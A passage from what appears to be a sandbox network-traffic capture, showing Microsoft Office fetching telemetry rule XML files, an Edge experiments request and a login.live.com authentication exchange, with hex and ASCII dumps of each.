2024-11-21 21:04:46 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:46 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:46 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210446Z-178bfbc474bbbqrhhC1NYCvw74000000020g0000000158r2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:46 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:46 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:47 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:46 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210446Z-178bfbc474b9fdhphC1NYCac0n00000001yg00000000ew0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	49805	94.245.104.56	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:47 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:04:47 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 21 Nov 2024 21:04:47 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=e5e4197507aadfd116f59447fade3d01fe97a8db2e83bfcd54af3bd128319bb7;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=e5e4197507aadfd116f59447fade3d01fe97a8db2e83bfcd54af3bd128319bb7;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:48 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:48 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210448Z-1777c6cb754j47wfhC1TEB5wrw00000007c000000000wb6u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:48 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:48 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:48 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e2ff131b-f01e-0085-7676-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210448Z-1777c6cb754gvvgfhC1TEBz4rg0000000bmg00000000vx67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:48 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:48 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210448Z-15b8b599d88f9wfchC1TEBm2kc00000000pg0000000055hg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:48 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:48 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: de17e165-601e-0002-3161-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210448Z-178bfbc474bwlrhlhC1NYCy3kg00000001y000000000wvmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:49 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	49811	20.190.177.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 21:04:48 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 21:04:49 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 21:03:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: d77d2761-d8f5-46a9-ac61-a6d046e9719e PPServer: PPV: 30 H: PH1PEPF00011F8D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 21:04:48 GMT Connection: close Content-Length: 1276
2024-11-21 21:04:49 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:49 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:50 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210450Z-174c587ffdf4zw2thC1TEBu34000000000mg000000007xg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:50 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:50 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210450Z-178bfbc474bgvl54hC1NYCsfuw00000001x000000000wpqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:50 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210451Z-178bfbc474bbbqrhhC1NYCvw74000000026000000000c1n0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" 